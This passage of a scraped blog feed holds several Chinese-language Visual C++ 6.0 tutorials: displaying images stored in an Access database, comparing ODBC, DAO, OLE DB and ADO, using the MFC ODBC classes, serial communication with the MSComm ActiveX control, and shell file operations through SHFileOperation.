)\nlpDIBBits=(LPVOID)((LPDWORD)(bmInfo.bmiColors+bmInfo.bmiHeader.biClrUsed)+\n((bmInfo.bmiHeader.biCompression == BI_BITFIELDS) ? 3 : 0));\nelse\nlpDIBBits = (LPVOID)(bmInfo.bmiColors + nColors);\nfile://得到图像各个像素的具体数据\nCClientDC dc(NULL);\nHBITMAP hBmp = CreateDIBitmap( dc.m_hDC, \u0026amp;bmiHeader, CBM_INIT, lpDIBBits, \u0026amp;bmInfo, DIB_RGB_COLORS); file://生成位图句柄 Bitmap.Attach( hBmp );//将该句柄与定义的Bitmap对象联系在一起\nArray.RemoveAll(); file://释放内存\nreturn TRUE;\n}\n有了上面的准备工作，现在可以实现图像的显示函数了，其实现如下： void CImageDlg::OnShowImage() {\nCimageData db;//定义记录集对象\ndb.Open();打开数据库\nGetImageData(db.m_Images);//根据记录集对象的成员变量生成图像对象\nfile://以下是在对话框的固定区域显示图像\nCPaintDC dc(this);\nif (!(Bitmap.m_hObject == NULL))\n{ CDC dcMem; dcMem.CreateCompatibleDC( \u0026amp;dc ); file://create a Memory Image\nCBitmap* pbmpOld ;\nBITMAP BmpSize ; Bitmap.GetBitmap(\u0026amp;BmpSize); file://get Image Size\npbmpOld = dcMem.SelectObject(\u0026amp;Bitmap);\ndc.StretchBlt( 20, 20, 200, 200, \u0026amp;dcMem, 0, 0, BmpSize.bmWidth, BmpSize.bmHeight, SRCCOPY);\ndcMem.SelectObject( pbmpOld ); } 以上代码中使用的数据库为ACESS97，程序在windows98、Visual C++6.0环境下编译通过，运行正常。\n","permalink":"https://hessian.cn/p/324.html","summary":"在利用VC进行数据库编程时，经常需要处理数据库中的图像数据，将该图像从数据库中读取出来并显示，图像数据与 文本字段不同，它是作为OLE字段在数据库中存储，通过数据集对象的成员变量自动交换得到的图像数据，得到的数据并不能直接显示，如何处理图像数据，一直 是数据库编程中的一个难点，目前关于VC进行数据库编程的资料不少，但很少涉及图像数据的操作，笔者针对一现状，结合自己开发的一个项目，解决了如何显示 数据库中的图像这一问题，本文以操作ACESS数据库为例子，讲解一下自己的实现思路，希望对爱好VC编程的朋友们有所帮助，以起到抛砖引玉的作用。\n","title":"Visual C++中实现对图像数据的读取显示"},{"content":"　从功能简单的数据库(如Jet Engine)到复杂的大型数据库系统(如oracle)，VC++6.0都提供了一些编程接口。本文主要介绍以下五种:\n1.ODBC API；\n2.MFC ODBC类；\n3.MFC DAO类；(数据访问对象)\n4.MFC的OLE/DB；\n5.ActiveX数据对象(ADO)。\n1.开放数据库连接(ODBC API)：提供了一个通用的编程接口，允许程序与多种不同的数据库连接。它为Oracle，SQL Server，MS Excel等都提供了驱动程序，使得用户可以使用SQL语句对数据库进行直接的底层功能操作。在使用ODBC API时，用户须引入的头文件为\u0026quot;sql.h\u0026quot;，\u0026quot;sqlext.h\u0026quot;，\u0026quot;sqltypes.h\u0026quot;。用ODBC API创建数据库应用程序遵循一定的基本步骤：\n第一步是分配ODBC环境，使一些内部结构初始化。完成这一步，须分配一个SQLHENV类型的变量在ODBC环境中做句柄使用。\n第二步是为将要使用的每一个数据源分配一个连接句柄，由函数SQLALLocHandle()完成。\n第三步是使用SQLConnect()把连接句柄与数据库连接，可以先通过SQLSetConnectAttr()设置连接属性。\n然后就可以进行SQL语句的操作，限于篇幅，相关的函数就不具体介绍了，读者可以参考相关书籍。\n操作完成后，用户取回相应的结果，就可以取消与数据库的连接。\n最后需要释放ODBC环境。\nODBC API的特点是功能强大丰富，提供了异步操作，事务处理等高级功能，但相应的编程复杂，工作量大。\n2.MFC ODBC类：MFC1.5后的版本里引入封装了ODBC功能的类。通过这些类提供与ODBC的接口，使得用户可以不须处理ODBC API中的繁杂处理就可以进行数据库操作。主要的MFC ODBC类如下。\nCDatabase类:一个CDatabase对象表示一个到数据源的连接，通过它可以操作数据源。应用程序可使用多个CDatabase对象：构造一 个对象并调用OpenEx()成员函数打开一个连接。接着构造CRecordSet对象以操作连接的数据源，并向CDatabase对象传递记录集构造程 序指针。完成使用后用Close()成员函数销毁CDatabase对象。一般情况下并不需要直接使用CDatabase对象，因为CRecordSet 对象可以实现大多数的功能。但是在进行事务处理时，CDatabase就起到关键作用。事务(Transaction)指的是将一系列对数据源的更新放在 一起，同时提交或一个也不提交，为的是确保多用户对数据源同时操作时的数据正确性。\nCRecordSet类：一个 CRecordSet对象代表一个从数据源选择的一组记录的集合-记录集。记录集有两种形式：snapshot和dynaset。前者表示数据的静态视 图，后者表示记录集与其他用户对数据库的更新保持同步。通过CRecordSet对象，用户可以对数据库中的记录进行各种操作。\nCRecordView类：CRecordView对象是在空间中显示数据库记录的视图。这种视图是一种直接连到一个CRecordSet对象的格式视 图，它从一个对话框模板资源创建，并将CRecordSet对象的字段显示在对话框模板的控件里。对象利用DDX和RFX机制，使格式上的控件和记录集的 字段之间数据移动自动化，也就是说，用户甚至不要编写一行代码就可以实现简单的数据库记录查看程序。\nCDBException类：由Cexception类派生，以三个继承的成员变量反映对数据库操作时的异常:\nm_nRetCode：以ODBC返回代码(SQL_RETURN)的形式表明造成异常的原因。\nm_strError：字符串，描述造成抛出异常的错误原因。\nm_strStateNativeOrigin：字符串，用以描述以ODBC错误代码表示的异常错误。\nMFC数据库类成员函数都能抛出CDBException类型的异常，所以在代码对数据库进行操作后监测异常是正确做法。\nMFC ODBC类在实际开发中应用最广，因为它功能丰富，操作相对简便。\n3.MFC DAO(数据访问对象)编程：DAO用于和微软的Access数据库接口。在数据库应用程序如果只需与Access数据库接口时，使用DAO编程较方便。其主要类如下。\nCDaoWorkspace：CDaoWorkspace对象可以让一个用户管理从登陆到离开期间，指定的密码保护的数据库会话全过程。大多数情况下不要多个工作区也不要创建明确的工作区对象。因为在打开数据库和记录集对象时，它们可以使用DAO缺省工作区。\nCDaoDatabase：代表一个连接，类似上述CDatabase类。\nCDaoRecordSet：用来选择记录集并操作，类似上述CRecordSet类。\nCDaoRecordView：类似上述CRecordView类。\nCDaoException：类似上述CDBException类。\nCDaoTableDef：表示基本表或附加表的定义。每个DAO数据库对象包括一个称为TableDef的收集，包含所有存储的DAO表定义对象。CDaoTableDef对象可以用来控制表定义。\nCDaoQueryDef：CDaoQueryDef对象表示了一个查询定义(querydef)。\nCDaoFieldExchange：支持数据库类使用的DAO字段交换(DFX)例程。也可处理事务，类似MFC ODBC类。\nMFC DAO仅用来支持Access数据库，应用范围相对固定。\n4.OLE DB：OLE DB在数据提供程序和用户之间提供了灵活的组件对象模型(COM)接口，这种灵活性有时会使得操作复杂化。OLE DB框架定义了应用的三个基本类。\n数据提供程序Data Provider：拥有自己的数据并以表格形式显示数据的应用程序。提供OLE DB的行集COM接口，期显示范围可以从单一数据表格的简单提供者知道更复杂的分布式数据库系统。\n使用者Consumers：使用OLE DB接口对存储在数据提供程序中的数据进行控制的应用程序。用户应用程序归为使用类。\n服务提供程序Service Provider：是数据提供程序和使用者的组合。服务提供程序没有自己的数据，但使用\nOLE DB使用者接口来访问存储在数据提供程序中的数据。然后，服务提供程序通过打开数据提供程序接口使得数据对使用者有效。服务提供程序常用于向应用程序提供高层次服务，比如高级分布式查询。\nOLE DB编程时，用户使用组件对象开发应用程序。这些组件有：\n枚举器：用于列出可用的数据源；\n数据源：代表单独的数据和服务提供程序，用于创建对话；\n对话：用于创建事务和命令；\n事务：用于将多个操作归并为单一事务处理；\n命令：用于向数据源发送文本命令(SQL)，返回行集；\n错误：用于获得错误信息。\n5.ActiveX数据对象(ADO)：是微软提供的面向对象的接口，与OLE DB类似，但接口更简单，具有更广泛的特征数组和更高程度的灵活性。ADO基于COM,提供编程语言可利用的对象，除了面向VC++，还提供面向其他各种 开发工具的应用，如VB，VJ等。ADO在服务器应用方面非常有用，特别是对于动态服务器页面ASP(Active Server Page)。\nADO对象结构类似于OLE DB，但并不依靠对象层次。大多数情况下，用户只需要创建并只使用需要处理的对象。下面的对象类组成了ADO接口。\nConnection：用于表示与数据库的连接，以及处理一些命令和事务。\nCommand：用于处理传送给数据源的命令。\nRecordset：用于处理数据的表格集，包括获取和修改数据。\nField：用于表示记录集中的列信息，包括列值和其他信息。\nParameter：用于对传送给数据源的命令之间来回传送数据。\nProperty：用与操作在ADO中使用的其他对象的详细属性。\nError：用于获得可能发生的错误的详细信息。\n在VC++使用ADO需要进行COM操作，详细方法在此就不赘述了。\n在当今流行的分布式开发环境下，VC++6.0在数据库开发方面有较强的优势，学会\n在不同的场合选用不同的技术，对开发人员来说是必要的技术。\n","permalink":"https://hessian.cn/p/441.html","summary":"　从功能简单的数据库(如Jet Engine)到复杂的大型数据库系统(如oracle)，VC++6.0都提供了一些编程接口。本文主要介绍以下五种:\n","title":"几种VC++数据库开发技术的比较"},{"content":" ODBC（Open Database Connectivity，开放式数据库连接），是一种用来在相关或不相关的数据库管理系统（DBMS）中存取数据的标准应用程序接口（API）。本文给 出Windows 95 环境下用Visual C++ 进行ODBC 编程的具体方法及技巧。\n\u0026#8212;- 关键字：ODBC，Visual C++，Windows 编程。\n\u0026#8212;- 一．概述\n\u0026#8212;- ODBC 是一种使用SQL 的程序设计接口。使用ODBC 让应用程序的编写者避免了与数据源相联的复杂性。这项技术目前已经得到了大多数DBMS 厂商们的广泛支持。\n\u0026#8212;- Microsoft Developer Studio 为大多数标准的数据库格式提供了32 位ODBC 驱动器。这些标准数据格式包括有：SQL Server、Access、Paradox、dBase、FoxPro、Excel、Oracle 以及Microsoft Text。如果用户希望使用其他数据格式，用户需要相应的ODBC 驱动器及DBMS。\n\u0026#8212;- 用户使用自己的DBMS 数据库管理功能生成新的数据库模式后，就可以使用ODBC 来登录数据源。对用户的应用程序来说，只要安装有驱动程序，就能注册很多不同的数据库。登录数据库的具体操作参见有关ODBC 的联机帮助。\n\u0026#8212;- 二．MFC 提供的ODBC 数据库类\n\u0026#8212;- Visual C++ 的MFC 基类库定义了几个数据库类。在利用ODBC 编程时，经常要使用到CDatabase( 数据库类)，CRecordSet( 记录集类) 和CRecordView( 可视记录集类)。其中：\n\u0026#8212;- CDatabase 类对象提供了对数据源的连接，通过它你可以对数据源进行操作。\n\u0026#8212;- CRecordSet 类对象提供了从数据源中提取出的记录集。CRecordSet 对象通常用于两种形式：动态行集（dynasets）和快照集（snapshots）。动态行集能保持与其他用户所做的更改保持同步。快照集则是数据的一 个静态视图。每一种形式在记录集被打开时都提供一组记录，所不同的是，当你在一个动态行集里滚动到一条记录时，由其他用户或是你应用程序中的其他记录集对 该记录所做的更改会相应地显示出来。\n\u0026#8212;- CRecordView 类对象能以控制的形式显示数据库记录。这个视图是直接连到一个CRecordSet 对象的表视图。\n\u0026#8212;- 三．应用ODBC 编程\n\u0026#8212;- 应用Visual C++ 的AppWizard 可以自动生成一个ODBC 应用程序框架。方法是：打开File 菜单的New 选项，选取Projects，填入工程名，选择MFC AppWizard (exe)，然后按AppWizard 的提示进行操作。当AppWizard 询问是否包含数据库支持时，如果你想读写数据库，那么选定Database view with file support；而 阆敕梦适 菘獾男畔⒍ 幌牖匦此 龅母谋洌 敲囱《―atabase view without file support 选项就比较合适了。选择了数据库支持之后Database Source 按钮会激活，选中它去调用Data Options 对话框。在Database Options 对话框中会显示已向ODBC 注册的数据库资源，选定你所要操作的数据库，如：Super_ES，单击OK 后会出现Select Database Tables 对话框，其中列举了你所选中的数据库中包含的全部表，选择你希望操作的表后，单击OK。在选定了数据库和数据表之后，你可以按照惯例继续进行 AppWizard 操作。\n\u0026#8212;- 特别需要指出的是：在生成的应用程序框架View 类（如：CSuper_ESView）中包含一个指向CSuper_ESSet 对象的指针m_pSet，该指针由AppWizard 建立，目的是在视表单和记录集之间建立联系，使得记录集中的查询结果能够很容易地在视表单上显示出来。有关m_pSet 的详细用法可以参见Visual C++ Online Book。\n\u0026#8212;- 程序与数据语言建立联系，使用CDatebase::OpenEx() 或CDatabase::Open() 函数来进行初始化。数据库对象必须在你使用它构造一个记录集对象之前被初始化。\n\u0026#8212;- 下面举例说明在Visual C++ 环境中ODBC 的编程技巧：\n\u0026#8212;- 1 ．查询记录\n\u0026#8212;- 查询记录使用CRecordSet::Open() 和CRecordSet::Requery() 成员函数。在使用CRecordSet 类对象之前，必须使用CRecordSet::Open() 函数来获得有效的记录集。一旦已经使用过CRecordSet::Open() 函数，再次查询时就可以应用CRecordSet::Requery() 函数。在调用CRecordSet::Open() 函数时，如果已经将一个已经打开的CDatabase 对象指针传给CRecordSet 类对象的m_pDatabase 成员变量，则使用该数据库对象建立ODBC 连接；否则如果m_pDatabase 为空指针，就新建一个CDatabase 类对象并使其与缺省的数据源相连，然后进行CRecordSet 类对象的初始化。缺省数据源由GetDefaultConnect() 函数获得。你也可以提供你所需要的SQL 语句，并以它来调用CRecordSet::Open() 函数，例如：\nSuper_ESSet.Open(AFX_DATABASE_USE_DEFAULT,strSQL);\n\u0026#8212;- 如果没有指定参数，程序则使用缺省的SQL 语句，即对在GetDefaultSQL() 函数中指定的SQL 语句进行操作：\nCString CSuper_ESSet::GetDefaultSQL()\n{return _T(\u0026quot;[BasicData],[MainSize]\u0026quot;);}\n\u0026#8212;- 对于GetDefaultSQL() 函数返回的表名，对应的缺省操作是SELECT 语句，即：\nSELECT * FROM BasicData,MainSize\n\u0026#8212;- 查询过程中也可以利用CRecordSet 的成员变量m_strFilter 和m_strSort 来执行条件查询和结果排序。m_strFilter 为过滤字符串，存放着SQL 语句中WHERE 后的条件串；m_strSort 为排序字符串，存放着SQL 语句中ORDER BY 后的字符串。如：\nSuper_ESSet.m_strFilter=\u0026quot;TYPE=电动机\u0026quot;;\nSuper_ESSet.m_strSort=\u0026quot;VOLTAGE\u0026quot;;\nSuper_ESSet.Requery();\n对应的SQL语句为：\nSELECT * FROM BasicData,MainSize WHERE TYPE=电动机\nORDER BY VOLTAGE\n\u0026#8212;- 除了直接赋值给m_strFilter 以外，还可以使用参数化。利用参数化可以更直观，更方便地完成条件查询任务。使用参数化的步骤如下：\n\u0026#8212;- (1) ．声明参变量：\nCString p1;\nfloat p2;\n\u0026#8212;- (2) ．在构造函数中初始化参变量\np1=_T(\u0026quot;\u0026quot;);\np2=0.0f;\nm_nParams=2;\n\u0026#8212;- (3) ．将参变量与对应列绑定\npFX- \u0026gt;SetFieldType(CFieldExchange::param)\nRFX_Text(pFX,_T(\u0026quot;P1\u0026quot;),p1);\nRFX_Single(pFX,_T(\u0026quot;P2\u0026quot;),p2);\n\u0026#8212;- 完成以上步骤之后就可以利用参变量进行条件查询了：\nm_pSet- \u0026gt;m_strFilter=\u0026quot;TYPE=? AND VOLTAGE=?\u0026quot;;\nm_pSet- \u0026gt;p1=\u0026quot; 电动机\u0026quot;;\nm_pSet- \u0026gt;p2=60.0;\nm_pSet- \u0026gt;Requery();\n\u0026#8212;- 参变量的值按绑定的顺序替换查询字串中的\u0026quot;?\u0026quot; 适配符。\n\u0026#8212;- 如果查询的结果是多条记录的话，可以用CRecordSet 类的函数Move()，MoveNext()，MovePrev()，MoveFirst() 和MoveLast() 来移动光标。\n\u0026#8212;- 2 ．增加记录\n\u0026#8212;- 增加记录使用AddNew() 函数，要求数据库必须是以允许增加的方式打开：\nm_pSet- \u0026gt;AddNew(); //在表的末尾增加新记录\nm_pSet- \u0026gt;SetFieldNull(\u0026amp;(m_pSet- \u0026gt;m_type), FALSE);\nm_pSet- \u0026gt;m_type=\u0026quot; 电动机\u0026quot;;\n\u0026#8230; //输入新的字段值\nm_pSet- \u0026gt; Update(); //将新记录存入数据库\nm_pSet- \u0026gt;Requery(); //重建记录集\n\u0026#8212;- 3 ．删除记录\n\u0026#8212;- 直接使用Delete() 函数，并且在调用Delete() 函数之后不需调用Update() 函数：\nm_pSet- \u0026gt;Delete();\nif (!m_pSet- \u0026gt;IsEOF())\nm_pSet- \u0026gt;MoveNext();\nelse\nm_pSet- \u0026gt;MoveLast();\n\u0026#8212;- 4 ．修改记录\n\u0026#8212;- 修改记录使用Edit() 函数：\nm_pSet- \u0026gt;Edit(); //修改当前记录\nm_pSet- \u0026gt;m_type=\u0026quot;发电机\u0026quot;;\n//修改当前记录字段值\n\u0026#8230;\nm_pSet- \u0026gt;Update(); //将修改结果存入数据库\nm_pSet- \u0026gt;Requery();\n\u0026#8212;- 5 ．撤消操作\n\u0026#8212;- 如果用户选择了增加或者修改记录后希望放弃当前操作，可以在调用Update() 函数之前调用：\nCRecordSet::Move(AFX_MOVE_REFRESH);\n\u0026#8212;- 来撤消增加或修改模式，并恢复在增加或修改模式之前的当前记录。其中的参数AFX_MOVE_REFRESH 的值为零。\n\u0026#8212;- 6 ．数据库连接的复用\n\u0026#8212;- 在CRecordSet 类中定义了一个成员变量m_pDatabase: CDatabase* m_pDatabase;\n\u0026#8212;- 它是指向对象数据库类的指针。如果在CRecordSet 类对象调用Open() 函数之前，将一个已经打开的CDatabase 类对象指针传给m_pDatabase，就能共享相同的CDatabase 类对象。如：\nCDatabase m_db;\nCRecordSet m_set1,m_set2;\nm_db.Open(_T(\u0026quot;Super_ES\u0026quot;));//建立ODBC连接\nm_set1.m_pDatabase=\u0026amp;m_db;\n//m_set1复用m_db对象\nm_set2.m_pDatabse=\u0026amp;m_db; // m_set2复用m_db对象\n\u0026#8212;- 7 ．SQL 语句的直接执行\n\u0026#8212;- 虽然通过CRecordSet 类，我们可以完成大多数的查询操作，而且在CRecordSet::Open() 函数中也可以提供SQL 语句，但是有的时候我们还想进行一些其他操作，例如建立新表，删除表，建立新的字段等等，这时就需要使用到CDatabase 类的直接执行SQL 语句的机制。通过调用CDatabase::ExecuteSQL() 函数来完成SQL 语句的直接执行：\nBOOL CDB::ExecuteSQLAndReportFailure(const CString\u0026amp; strSQL)\n{\nTRY\n{\nm_pdb- \u0026gt;ExecuteSQL(strSQL);//直接执行SQL语句\n}\nCATCH (CDBException,e)\n{\nCString strMsg;\nstrMsg.LoadString(IDS_EXECUTE_SQL_FAILED);\nstrMsg+=strSQL;\nreturn FALSE;\n}\nEND_CATCH return TRUE;\n}\n\u0026#8212;- 应当指出的是，由于不同DBMS 提供的数据操作语句不尽相同，直接执行SQL 语句可能会破坏软件的DBMS 无关性，因此在应用中应当慎用此类操作。\n\u0026#8212;- 8 ．动态连接表\n\u0026#8212;- 表的动态连接可以利用在调用CRecordSet::Open() 函数时指定SQL 语句来实现。同一个记录集对象只能访问具有相同结构的表，否则查询结果将无法与变量相对应。\nvoid CDB::ChangeTable()\n{\nif (m_pSet- \u0026gt;IsOpen()) m_pSet- \u0026gt;Close();\nswitch (m_id)\n{\ncase 0:\nm_pSet- \u0026gt;Open(AFX_DB_USE_DEFAULT_TYPE, \u0026quot;SELECT * FROM SLOT0\u0026quot;); //连接表SLOT0\nm_id=1;\nbreak;\ncase 1:\nm_pSet- \u0026gt;Open(AFX_DB_USE_DEFAULT_TYPE, \u0026quot;SELECT * FROM SLOT1\u0026quot;); //连接表SLOT1\nm_id=0;\nbreak;\n}\n}\n\u0026#8212;- 9 ．动态连接数据库\n\u0026#8212;- 由于与数据库的连接是通过CDatabase 类对象来实现的，所以我们可以通过赋与CRecordSet 类对象参数m_pDatabase 以连接不同数据库的CDatabase 对象指针，就可以动态连接数据库。\nvoid CDB::ChangeConnect()\n{\nCDatabase* pdb=m_pSet- \u0026gt;m_pDatabase;\npdb- \u0026gt;Close();\nswitch (m_id)\n{\ncase 0:\nif (!pdb- \u0026gt;Open(_T(\u0026quot;Super_ES\u0026quot;))) //连接数据源Super_ES\n{\nAfxMessageBox(\u0026quot;数据源Super_ES打开失败，\u0026quot;\n\u0026quot;请检查相应的ODBC连接\u0026quot;, MB_OK|MB_ICONWARNING);\nexit(0);\n}\nm_id=1;\nbreak;\ncase 1:\nif (!pdb- \u0026gt;Open(_T(\u0026quot;Motor\u0026quot;)))\n//连接数据源Motor\n{\nAfxMessageBox(\u0026quot;数据源Motor打开失败，\u0026quot;\n\u0026quot;请检查相应的ODBC连接\u0026quot;, MB_OK|MB_ICONWARNING);\nexit(0);\n}\nm_id=0;\nbreak;\n}\n}\n\u0026#8212;- 四．总结\n\u0026#8212;- Visual C++ 中的ODBC 类库可以帮助程序员完成绝大多数的数据库操作。利用ODBC 技术使得程序员从具体的DBMS 中解脱出来，从而极大的减少了软件开发的工作量，缩短开发周期，提高了效率和软件的可靠性。本文总结的笔者从事软件开发的一些经验心得希望对从事ODBC 开发的工作者有所帮助。\n","permalink":"https://hessian.cn/p/562.html","summary":" ODBC（Open Database Connectivity，开放式数据库连接），是一种用来在相关或不相关的数据库管理系统（DBMS）中存取数据的标准应用程序接口（API）。本文给 出Windows 95 环境下用Visual C++ 进行ODBC 编程的具体方法及技巧。\n","title":"Visual C++ 中的ODBC编程"},{"content":"　摘要：本文介绍了在Microsoft Visual C++ 6.0环境下通过对Active X控件的编程来实现串口的通信的一般方法。\n一、 引言\n当我们在Windows操作系统下开发串行通信程序时通常不得不面对许多复杂的API函数，因为在Windows操作系统下不能直接对设备端口进行操 作，也不能在系统级（Ring 3级别）使用任何DOS或BIOS中断，如要对端口进行编程则只能以文件的形式来对端口进行操作，这就使开发人员不得不面对非常烦琐的API函数编程。本 文对此提出了另外一种封装性很好的使用Microsoft Visual C++ 6.0自带的\u0026quot;Microsoft Communications Control，version 6.0\u0026quot;Active X控件的编程方法，通过对该控件的正确使用，我们可以比较轻松地编写出所需的串行通信程序。\n下面，我们将结合一个实际的程序示例来对此方法进行说明。本程序的编程环境是Windows 98和Microsoft Visual C++ 6.0。在本程序示例中对为避免阻塞而对线程的使用以及在使用中遇到的一些问题也做了详细的介绍。\n二、 程序的设计实现\n在开始进行代码编程前，首先以在工程中插入组件或控件的方式将Active X控件\u0026quot;Microsoft Communications Control，version 6.0\u0026quot;加入到工程中来，此时将会在工程中添加一个关于此控件的新类。使用该控件的一些方法和属性时不能象使用类一样简单的声明一个实例对象，而要通 ClassWizard为该控件和一个成员变量建立起绑定关系，在此我们将该控件同变量m_Comm相绑定后就可以通过该控件提供的方法来对串口的各种通 讯参数进行设置了。为了编程方便起见，也可以在资源视图中直接对该控件的属性进行设置，如无特别要求，对下表所列属性进行设置就基本可以满足编程要求了。 现将常用的属性列表如下：\n属性 设定值 属性说明 CommPort 1 串口号，一般从1到4 InBufferSize 30720 接收缓冲区大小，为保持程序的稳定，建议设得值足够大 InputMode 0-Text 接收数据的类型，0表示文本类型，1表示二进制类型 InputLen 0 从接收缓冲区读取的字节数，0表示全部读取 OutBufferSize 512 发送缓冲区大小 Settings 4800,n,8,1 串口的参数设置,依次为波特率、奇偶校验(n-无校验,e-偶校验,o-奇校验)、数据位数、停止位数 RThreshold 1 设定当接收几个字符时触发OnComm事件，0表示不产生事件，\n1表示每接收一个字符就产生一个事件 SThreshold 0 设定在触发OnComm事件前，发送缓冲区内所允许的最少的字符数，\n0表示发送数据时不产生事件，1表示当发送缓冲区空时产生OnComm事件 我们要求能在程序启动的同时就打开串口以便即时对从串口到达的数据进行接收、处理。一般来说可以将下面的打开端口的代码写在OnCreate()、OnInitialUpdate()、InitInstance ()等程序入口函数中：\n\u0026hellip;\u0026hellip;\nif(!m_Comm.GetPortOpen()) //检测是否已经打开过端口\nm_Comm.SetPortOpen(TRUE); //如没有打开则将端口打开\n\u0026hellip;\u0026hellip; 接下来的工作就是对数据的发送与接收了，这也是本文所要介绍的重点所在。发送数据的代码原则上是可以写到一个成 员函数中被直接调用的，但这并不是一个良好的编程习惯：我们应当把比较耗时的操作，如文件拷贝、打印、端口传输等工作放到一个单独的线程当中，以避免其在 工作时会引起整个进程的阻塞，以提高整个系统对CPU的利用率。例如我们可以在视类中菜单或按钮的响应函数中用AfxBeginThread (WriteProc,this)函数来开启一个名为\u0026quot;WriteProc\u0026quot;的线程，由于在线程中还需要使用视类的函数和变量，为了不产生新的视类的实例 对象，我们通过该函数的第二个参数将指向当前的视类的指针this作为参数传递给线程。在线程中可以用如下两种方法之中的一种调用视类的成员函数：\n((COLECommView*) pParam)-\u0026gt;DoSendProc(); 或是：\nCOLECommView* view=(COLECommView*) pParam;\nView-\u0026gt;DoSendProc(); 其中从pParam传来的变量就是指向视类的指针。在线程中通过调用视类中的DoSendProc函数来完成对数据的发送，正是由于该函数是被全局的线 程所调用的，我们就不可以使用取编辑框上的数据时通常所用的UpdateData()函数了，取而带之的是API 函数GetDlgItemText()，取到输入的数据后通过控件的SetOutput() 方法就把数据从串口发出去了，其中发送数据必须经ColeVariant类将其转换为通用的VARIANT型变量。实现\n主要代码如下：\n\u0026hellip;\u0026hellip;\nchar a[255];\nHWND hwnd=GetSafeHwnd();\n::GetDlgItemText(hwnd,IDC_EDIT1,a,255);\nint i=0;\nCString str;\nwhile(a[i]!=\u0026#8221;)\n{\nstr.Format(\u0026quot;%c\u0026quot;,a[i]);\nm_SendData+=str;\ni++; }\nstr.Format(\u0026quot;%c\u0026quot;,10);\nm_SendData+=str;\nm_Comm.SetOutput(COleVariant(m_SendData));\n\u0026hellip;\u0026hellip; 至于数据的接收，我们可以通过让MS Comm控件响应其OnComm事件来完成，通过ClassWizard加入其对事件的响应后，通过下面的事件映射，当有字符到达时便会通知 OnComm()函数去处理，从而实现数据的异步接收：\n\u0026hellip;\u0026hellip;\nBEGIN_EVENTSINK_MAP(COLECommView, CFormView)\n//{{AFX_EVENTSINK_MAP(COLECommView)\nON_EVENT(COLECommView, IDC_MSCOMM1, 1 /* OnComm */, OnComm, VTS_NONE)\n//}}AFX_EVENTSINK_MAP\nEND_EVENTSINK_MAP()\n\u0026hellip;\u0026hellip;\nvoid COLECommView::OnComm() {\nVARIANT Input;\nif(m_Comm.GetCommEvent()==2)//接收缓冲区内有字符\n{\nInput=m_Comm.GetInput();//读取缓冲区内的数据\nCString msg=Input.bstrVal;\nCString str;\nstr.Format(\u0026quot;%c\u0026quot;,10);\nif(msg.Right(1)==str)\n{\nm_RecvData+=msg;\nm_History.AddString(m_RecvData);\nm_RecvData=\u0026quot;\u0026quot;;\n}\nelse\nm_RecvData+=msg;\n}\n} 当数据被接收到接收缓冲区后，对于字符可以从VARIANT型结构变量的bstrVal成员变量中获取，VARIANT数据结构相当复杂，并牵扯到 COM(Component Object Model，组件对象模型)中的一些概念，具体详情请参阅Microsoft Corpration发布的MSDN中的有关论述。\n三、 测试与实验\n编译运行程序之前有必要对机器的端口做一番检查，以确保端口的完好，可以用常见的DOS程序Comdebug来检查。在确认串口工作正常后，可用串口线 将两台机器的串口相连，同时在两台机子上运行该程序，如果没有条件也可只用一台微机，将其串口的2脚和3脚短接，使其处于自发自收状态。经过数据的传输实 验证明该程序是可靠、正确的。\n小结：利用通讯控件可以很容易的编写出串行通信程序。但相对来说通讯控件在VC中的使用要比在VB、Delphi中复杂的多，要想对串口通讯开发出更多更灵活的使用方法还需要不断的实践中摸索。本程序在\nWindows 98下，由Microsoft Visual C++ 6.0编译通过。\n上一页\u0026nbsp;\u0026nbsp;1 ","permalink":"https://hessian.cn/p/309.html","summary":"　摘要：本文介绍了在Microsoft Visual C++ 6.0环境下通过对Active X控件的编程来实现串口的通信的一般方法。\n一、 引言\n当我们在Windows操作系统下开发串行通信程序时通常不得不面对许多复杂的API函数，因为在Windows操作系统下不能直接对设备端口进行操 作，也不能在系统级（Ring 3级别）使用任何DOS或BIOS中断，如要对端口进行编程则只能以文件的形式来对端口进行操作，这就使开发人员不得不面对非常烦琐的API函数编程。本 文对此提出了另外一种封装性很好的使用Microsoft Visual C++ 6.0自带的\u0026quot;Microsoft Communications Control，version 6.0\u0026quot;Active X控件的编程方法，通过对该控件的正确使用，我们可以比较轻松地编写出所需的串行通信程序。\n","title":"利用Active X控件开发串口通信软件"},{"content":"　摘要：本文介绍了一种有别于通常的Windows外壳编程方法。采用COM技术，通过Windows提供的外壳接口实现对其的编程。\n一、 引言\n在Windows环境下，不论是使用Visual C++还是Delphi或是其他一些软件开发工具，尽管存在着差别，但有一点是相同的：都是运行于Windows操作系统之下的。在程序开发过程中也经常 要在自己的应用程序中加入一些Windows系统本身就有的功能，比如文件的拷贝、删除、查找以及运行程序等等。而这些功能在Windows操作系统下都 是具备的，显然如果能直接从系统中调用这些功能将不仅仅减少程序的大小和开发人员的工作量，而且由于是直接通过操作系统来完成这些功能，将会大大减小这部 分程序出现异常错误的概率。Windows系统虽说也存在不少错误，但常用功能的错误还是比较少的，而且通过补丁程序可以更低限度减少系统错误，因此程序 员可以将调试检错的注意力放在应用程序的其他地方，对于调用系统功能这部分代码则可以不必投入太大的精力去调试，因为这部分调试的工作在操作系统发布的时 候就已经由微软做好了。\n二、 Windows外壳编程\n前面所说的直接使用Windows操作系统部分功能的编程方法就是针对Windows操作系统外壳的编程，可以通过对操作系统提供的几个编程接口对操作 系统的部分功能进行调用，甚至可以按照自己的意图在应用程序中对部分功能进行修改、扩展。但这方面的资料介绍不是特别多，讲的也大都语焉不详，而且用通常 的编程方法去进行外壳编程是非常麻烦的，动辄就要对相关的结构对象进行设置，而这样的结构里的数据成员少则十来个多则几十个，因此配置起来非常烦琐，下面 就以一个比较简单的外壳操作\u0026#8211;拷贝文件进行举例说明：\n\u0026hellip;\u0026hellip;\nSHFILEOPSTRUCT FileOp; //外壳的文件操作结构\nFileOp.hwnd=m_hWnd; //设置句柄\n//设置操作方式，拷贝用FO_COPY，删除用 FO_DELETE\nFileOp.wFunc=FO_COPY; FileOp.pFrom=m_source; //源文件路径\nFileOp.pTo=m_detect; //目标文件路径\nFileOp.fFlags=FOF_ALLOWUNDO; //允许恢复\nFileOp.hNameMappings=NULL; FileOp.lpszProgressTitle=strTitle; //设置标题\nSHFileOperation(\u0026amp;FileOp); //执行外壳拷贝\nif(FileOp.fAnyOperationsAborted) //监测有无中止\nTRACE(\u0026quot;An Operation was aborted!!!n\u0026quot;);\n\u0026hellip;\u0026hellip; 